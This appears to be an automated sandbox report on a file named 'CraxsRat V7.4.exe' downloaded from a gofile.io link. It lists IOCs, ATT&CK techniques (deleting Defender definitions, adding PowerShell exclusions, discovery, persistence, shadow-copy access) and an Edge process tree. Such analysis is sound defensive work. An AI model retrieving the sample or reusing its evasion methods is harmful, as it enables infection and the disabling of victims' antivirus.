hxxps://gofile[.]io/d/VxLUM2

Analysis

max time kernel
150s
max time network
148s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
03/11/2024, 04:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://gofile.io/d/VxLUM2
Sample241103-e49dpavjhz

Score

10^/10

discovery evasion execution upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 6 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
2220	MpCmdRun.exe
1544	MpCmdRun.exe
6040	MpCmdRun.exe
6004	MpCmdRun.exe
1116	MpCmdRun.exe
5348	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5944	powershell.exe
5992	powershell.exe
5360	powershell.exe
2936	powershell.exe
5948	powershell.exe
5276	powershell.exe
2124	powershell.exe
544	powershell.exe
5504	powershell.exe
2232	powershell.exe
5300	powershell.exe
5552	powershell.exe
5912	powershell.exe
3700	powershell.exe
724	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
5832	bound.exe
6012	bound.exe
4644	bound.exe

Loads dropped DLL 64 IoCs

pid	Process
1740	CraxsRat V7.4.exe
1740	CraxsRat V7.4.exe
1740	CraxsRat V7.4.exe
1740	CraxsRat V7.4.exe
1740	CraxsRat V7.4.exe
1740	CraxsRat V7.4.exe
1740	CraxsRat V7.4.exe
1740	CraxsRat V7.4.exe
1740	CraxsRat V7.4.exe
1740	CraxsRat V7.4.exe
1740	CraxsRat V7.4.exe
1740	CraxsRat V7.4.exe
1740	CraxsRat V7.4.exe
1740	CraxsRat V7.4.exe
1740	CraxsRat V7.4.exe
1740	CraxsRat V7.4.exe
5832	bound.exe
5832	bound.exe
5832	bound.exe
5832	bound.exe
5832	bound.exe
5832	bound.exe
5832	bound.exe
5832	bound.exe
5328	CraxsRat V7.4.exe
5328	CraxsRat V7.4.exe
5328	CraxsRat V7.4.exe
5328	CraxsRat V7.4.exe
5328	CraxsRat V7.4.exe
5328	CraxsRat V7.4.exe
5328	CraxsRat V7.4.exe
5328	CraxsRat V7.4.exe
5328	CraxsRat V7.4.exe
5328	CraxsRat V7.4.exe
5328	CraxsRat V7.4.exe
5328	CraxsRat V7.4.exe
5328	CraxsRat V7.4.exe
5328	CraxsRat V7.4.exe
5328	CraxsRat V7.4.exe
5328	CraxsRat V7.4.exe
5832	bound.exe
5832	bound.exe
5552	CraxsRat V7.4.exe
5552	CraxsRat V7.4.exe
5552	CraxsRat V7.4.exe
5552	CraxsRat V7.4.exe
5552	CraxsRat V7.4.exe
5552	CraxsRat V7.4.exe
5552	CraxsRat V7.4.exe
5552	CraxsRat V7.4.exe
5552	CraxsRat V7.4.exe
5552	CraxsRat V7.4.exe
5552	CraxsRat V7.4.exe
5552	CraxsRat V7.4.exe
5552	CraxsRat V7.4.exe
5552	CraxsRat V7.4.exe
5552	CraxsRat V7.4.exe
5552	CraxsRat V7.4.exe
5344	CraxsRat V7.4.exe
5344	CraxsRat V7.4.exe
5344	CraxsRat V7.4.exe
5344	CraxsRat V7.4.exe
6012	bound.exe
6012	bound.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
72	ip-api.com

Enumerates processes with tasklist 1 TTPs 6 IoCs

discovery

Process Discovery

T1057

pid	Process
1196	tasklist.exe
1940	tasklist.exe
5652	tasklist.exe
5820	tasklist.exe
3748	tasklist.exe
3496	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00270000000453ed-330.dat	upx
behavioral1/memory/1740-334-0x00007FFE252F0000-0x00007FFE2575E000-memory.dmp	upx
behavioral1/files/0x00270000000453df-336.dat	upx
behavioral1/files/0x00270000000453eb-340.dat	upx
behavioral1/files/0x00270000000453e6-358.dat	upx
behavioral1/files/0x00270000000453e5-357.dat	upx
behavioral1/files/0x00270000000453e4-356.dat	upx
behavioral1/files/0x00270000000453e3-355.dat	upx
behavioral1/files/0x00270000000453e2-354.dat	upx
behavioral1/files/0x00270000000453e1-353.dat	upx
behavioral1/files/0x00270000000453e0-352.dat	upx
behavioral1/files/0x00270000000453de-351.dat	upx
behavioral1/files/0x00270000000453f2-350.dat	upx
behavioral1/files/0x00270000000453f1-349.dat	upx
behavioral1/files/0x00270000000453f0-348.dat	upx
behavioral1/files/0x00270000000453ec-345.dat	upx
behavioral1/files/0x00270000000453ea-344.dat	upx
behavioral1/memory/1740-341-0x00007FFE43B50000-0x00007FFE43B5F000-memory.dmp	upx
behavioral1/memory/1740-339-0x00007FFE3A380000-0x00007FFE3A3A4000-memory.dmp	upx
behavioral1/memory/1740-364-0x00007FFE3A350000-0x00007FFE3A37D000-memory.dmp	upx
behavioral1/memory/1740-366-0x00007FFE3A330000-0x00007FFE3A349000-memory.dmp	upx
behavioral1/memory/1740-368-0x00007FFE3A310000-0x00007FFE3A32F000-memory.dmp	upx
behavioral1/memory/1740-370-0x00007FFE28ED0000-0x00007FFE29041000-memory.dmp	upx
behavioral1/memory/1740-372-0x00007FFE3A2F0000-0x00007FFE3A309000-memory.dmp	upx
behavioral1/memory/1740-374-0x00007FFE432A0000-0x00007FFE432AD000-memory.dmp	upx
behavioral1/memory/1740-376-0x00007FFE39F40000-0x00007FFE39F6E000-memory.dmp	upx
behavioral1/memory/1740-382-0x00007FFE3A380000-0x00007FFE3A3A4000-memory.dmp	upx
behavioral1/memory/1740-381-0x00007FFE29360000-0x00007FFE29418000-memory.dmp	upx
behavioral1/memory/1740-380-0x00007FFE24F70000-0x00007FFE252E5000-memory.dmp	upx
behavioral1/memory/1740-379-0x00007FFE252F0000-0x00007FFE2575E000-memory.dmp	upx
behavioral1/memory/1740-384-0x00007FFE3A0B0000-0x00007FFE3A0C4000-memory.dmp	upx
behavioral1/memory/1740-387-0x00007FFE3EE00000-0x00007FFE3EE0D000-memory.dmp	upx
behavioral1/memory/1740-386-0x00007FFE3A350000-0x00007FFE3A37D000-memory.dmp	upx
behavioral1/memory/1740-407-0x00007FFE3A330000-0x00007FFE3A349000-memory.dmp	upx
behavioral1/memory/1740-410-0x00007FFE3A310000-0x00007FFE3A32F000-memory.dmp	upx
behavioral1/memory/1740-411-0x00007FFE21C10000-0x00007FFE21D28000-memory.dmp	upx
behavioral1/memory/1740-437-0x00007FFE3A380000-0x00007FFE3A3A4000-memory.dmp	upx
behavioral1/memory/1740-445-0x00007FFE39F40000-0x00007FFE39F6E000-memory.dmp	upx
behavioral1/memory/1740-446-0x00007FFE24F70000-0x00007FFE252E5000-memory.dmp	upx
behavioral1/memory/1740-444-0x00007FFE432A0000-0x00007FFE432AD000-memory.dmp	upx
behavioral1/memory/1740-443-0x00007FFE3A2F0000-0x00007FFE3A309000-memory.dmp	upx
behavioral1/memory/1740-442-0x00007FFE28ED0000-0x00007FFE29041000-memory.dmp	upx
behavioral1/memory/1740-441-0x00007FFE3A310000-0x00007FFE3A32F000-memory.dmp	upx
behavioral1/memory/1740-440-0x00007FFE3A330000-0x00007FFE3A349000-memory.dmp	upx
behavioral1/memory/1740-439-0x00007FFE3A350000-0x00007FFE3A37D000-memory.dmp	upx
behavioral1/memory/1740-438-0x00007FFE43B50000-0x00007FFE43B5F000-memory.dmp	upx
behavioral1/memory/1740-436-0x00007FFE29360000-0x00007FFE29418000-memory.dmp	upx
behavioral1/memory/1740-421-0x00007FFE252F0000-0x00007FFE2575E000-memory.dmp	upx
behavioral1/memory/1740-435-0x00007FFE21C10000-0x00007FFE21D28000-memory.dmp	upx
behavioral1/memory/1740-434-0x00007FFE3EE00000-0x00007FFE3EE0D000-memory.dmp	upx
behavioral1/memory/1740-433-0x00007FFE3A0B0000-0x00007FFE3A0C4000-memory.dmp	upx
behavioral1/memory/5328-525-0x00007FFE252F0000-0x00007FFE2575E000-memory.dmp	upx
behavioral1/memory/5328-533-0x00007FFE43B50000-0x00007FFE43B5F000-memory.dmp	upx
behavioral1/memory/5328-532-0x00007FFE3A2F0000-0x00007FFE3A314000-memory.dmp	upx
behavioral1/memory/5328-539-0x00007FFE39D50000-0x00007FFE39D7D000-memory.dmp	upx
behavioral1/memory/5328-541-0x00007FFE3A0B0000-0x00007FFE3A0C9000-memory.dmp	upx
behavioral1/memory/5328-542-0x00007FFE39FB0000-0x00007FFE39FCF000-memory.dmp	upx
behavioral1/memory/5328-543-0x00007FFE28E20000-0x00007FFE28F91000-memory.dmp	upx
behavioral1/memory/5328-544-0x00007FFE39E60000-0x00007FFE39E79000-memory.dmp	upx
behavioral1/memory/5328-545-0x00007FFE432A0000-0x00007FFE432AD000-memory.dmp	upx
behavioral1/memory/5328-546-0x00007FFE39740000-0x00007FFE3976E000-memory.dmp	upx
behavioral1/memory/5328-548-0x00007FFE24F70000-0x00007FFE252E5000-memory.dmp	upx
behavioral1/memory/5328-550-0x00007FFE3A2F0000-0x00007FFE3A314000-memory.dmp	upx
behavioral1/memory/5328-549-0x00007FFE284B0000-0x00007FFE28568000-memory.dmp	upx

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\a99284a0-599d-4d67-b0da-26b7aebe1bcd.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20241103043113.pma	setup.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bound.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bound.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bound.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000_Classes\Local Settings	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2692	msedge.exe
2692	msedge.exe
2440	msedge.exe
2440	msedge.exe
1308	identity_helper.exe
1308	identity_helper.exe
5476	msedge.exe
5476	msedge.exe
5552	powershell.exe
5552	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5552	powershell.exe
4580	WMIC.exe
4580	WMIC.exe
4580	WMIC.exe
4580	WMIC.exe
2936	powershell.exe
2936	powershell.exe
2936	powershell.exe
5948	powershell.exe
5948	powershell.exe
6012	WMIC.exe
6012	WMIC.exe
6012	WMIC.exe
6012	WMIC.exe
5948	powershell.exe
5912	powershell.exe
5912	powershell.exe
5912	powershell.exe
5276	powershell.exe
5276	powershell.exe
3700	powershell.exe
3700	powershell.exe
5276	powershell.exe
3700	powershell.exe
2408	WMIC.exe
2408	WMIC.exe
2408	WMIC.exe
2408	WMIC.exe
5944	powershell.exe
5944	powershell.exe
5944	powershell.exe
1192	WMIC.exe
1192	WMIC.exe
1192	WMIC.exe
1192	WMIC.exe
2124	powershell.exe
2124	powershell.exe
724	powershell.exe
724	powershell.exe
2124	powershell.exe
724	powershell.exe
3704	msedge.exe
3704	msedge.exe
3704	msedge.exe
3704	msedge.exe
5992	powershell.exe
5992	powershell.exe
2232	powershell.exe
2232	powershell.exe
5992	powershell.exe
2232	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5552	powershell.exe
Token: SeDebugPrivilege	5504	powershell.exe
Token: SeIncreaseQuotaPrivilege	5504	powershell.exe
Token: SeSecurityPrivilege	5504	powershell.exe
Token: SeTakeOwnershipPrivilege	5504	powershell.exe
Token: SeLoadDriverPrivilege	5504	powershell.exe
Token: SeSystemProfilePrivilege	5504	powershell.exe
Token: SeSystemtimePrivilege	5504	powershell.exe
Token: SeProfSingleProcessPrivilege	5504	powershell.exe
Token: SeIncBasePriorityPrivilege	5504	powershell.exe
Token: SeCreatePagefilePrivilege	5504	powershell.exe
Token: SeBackupPrivilege	5504	powershell.exe
Token: SeRestorePrivilege	5504	powershell.exe
Token: SeShutdownPrivilege	5504	powershell.exe
Token: SeDebugPrivilege	5504	powershell.exe
Token: SeSystemEnvironmentPrivilege	5504	powershell.exe
Token: SeRemoteShutdownPrivilege	5504	powershell.exe
Token: SeUndockPrivilege	5504	powershell.exe
Token: SeManageVolumePrivilege	5504	powershell.exe
Token: 33	5504	powershell.exe
Token: 34	5504	powershell.exe
Token: 35	5504	powershell.exe
Token: 36	5504	powershell.exe
Token: SeIncreaseQuotaPrivilege	5552	powershell.exe
Token: SeSecurityPrivilege	5552	powershell.exe
Token: SeTakeOwnershipPrivilege	5552	powershell.exe
Token: SeLoadDriverPrivilege	5552	powershell.exe
Token: SeSystemProfilePrivilege	5552	powershell.exe
Token: SeSystemtimePrivilege	5552	powershell.exe
Token: SeProfSingleProcessPrivilege	5552	powershell.exe
Token: SeIncBasePriorityPrivilege	5552	powershell.exe
Token: SeCreatePagefilePrivilege	5552	powershell.exe
Token: SeBackupPrivilege	5552	powershell.exe
Token: SeRestorePrivilege	5552	powershell.exe
Token: SeShutdownPrivilege	5552	powershell.exe
Token: SeDebugPrivilege	5552	powershell.exe
Token: SeSystemEnvironmentPrivilege	5552	powershell.exe
Token: SeRemoteShutdownPrivilege	5552	powershell.exe
Token: SeUndockPrivilege	5552	powershell.exe
Token: SeManageVolumePrivilege	5552	powershell.exe
Token: 33	5552	powershell.exe
Token: 34	5552	powershell.exe
Token: 35	5552	powershell.exe
Token: 36	5552	powershell.exe
Token: SeDebugPrivilege	5820	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4580	WMIC.exe
Token: SeSecurityPrivilege	4580	WMIC.exe
Token: SeTakeOwnershipPrivilege	4580	WMIC.exe
Token: SeLoadDriverPrivilege	4580	WMIC.exe
Token: SeSystemProfilePrivilege	4580	WMIC.exe
Token: SeSystemtimePrivilege	4580	WMIC.exe
Token: SeProfSingleProcessPrivilege	4580	WMIC.exe
Token: SeIncBasePriorityPrivilege	4580	WMIC.exe
Token: SeCreatePagefilePrivilege	4580	WMIC.exe
Token: SeBackupPrivilege	4580	WMIC.exe
Token: SeRestorePrivilege	4580	WMIC.exe
Token: SeShutdownPrivilege	4580	WMIC.exe
Token: SeDebugPrivilege	4580	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4580	WMIC.exe
Token: SeRemoteShutdownPrivilege	4580	WMIC.exe
Token: SeUndockPrivilege	4580	WMIC.exe
Token: SeManageVolumePrivilege	4580	WMIC.exe
Token: 33	4580	WMIC.exe
Token: 34	4580	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe

Suspicious use of SendNotifyMessage 27 IoCs

pid	Process
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
2440	msedge.exe
5832	bound.exe
6012	bound.exe
4644	bound.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 3548	2440	msedge.exe	81
PID 2440 wrote to memory of 3548	2440	msedge.exe	81
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 384	2440	msedge.exe	82
PID 2440 wrote to memory of 2692	2440	msedge.exe	83
PID 2440 wrote to memory of 2692	2440	msedge.exe	83
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84
PID 2440 wrote to memory of 668	2440	msedge.exe	84

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://gofile.io/d/VxLUM2
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffe39d146f8,0x7ffe39d14708,0x7ffe39d14718
  2⤵
  PID:3548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2092 /prefetch:2
  2⤵
  PID:384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2716 /prefetch:8
  2⤵
  PID:668
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:1
  2⤵
  PID:3712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1
  2⤵
  PID:3844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4688 /prefetch:1
  2⤵
  PID:2492
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5588 /prefetch:8
  2⤵
  PID:3932
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
  2⤵
  - Drops file in Program Files directory
  PID:1932
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x248,0x24c,0x250,0x224,0x254,0x7ff71d7c5460,0x7ff71d7c5470,0x7ff71d7c5480
    3⤵
    PID:2360
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5588 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5432 /prefetch:1
  2⤵
  PID:2736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5620 /prefetch:1
  2⤵
  PID:3840
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5828 /prefetch:1
  2⤵
  PID:1396
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,16333637174421064021,13258095593605224429,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4812 /prefetch:1
  2⤵
  PID:4400
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
